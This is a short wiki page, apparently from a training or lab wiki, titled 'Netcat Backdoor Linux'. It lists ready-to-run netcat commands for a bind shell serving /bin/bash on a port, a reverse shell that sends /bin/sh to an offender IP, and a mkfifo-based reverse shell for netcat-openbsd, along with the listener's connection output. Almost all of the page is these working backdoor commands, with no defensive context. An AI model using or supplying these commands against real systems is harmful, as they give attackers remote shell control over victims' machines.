Netcat Backdoor Linux
Version vom 17. Oktober 2023, 08:57 Uhr von Thomas.will (Diskussion | Beiträge) (→with netcat-openbsd)
Linux
with netcat-traditional
- bind_tcp
- root@victim:~# apt-get install netcat-traditional
- root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
- root@offender:~# netcat 10.0.10.104 10001
with netcat-traditional
- reverse_tcp
- root@offender:~# netcat -l -p 10002
- root@victim:~# apt-get install netcat-traditional
- root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002
with netcat-openbsd
VICTIM=10.1.1.1 OFFENDER=10.1.1.2
- root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp
- root@offender:~# nc -nvlp 8668
listening on [any] 8668 ... connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154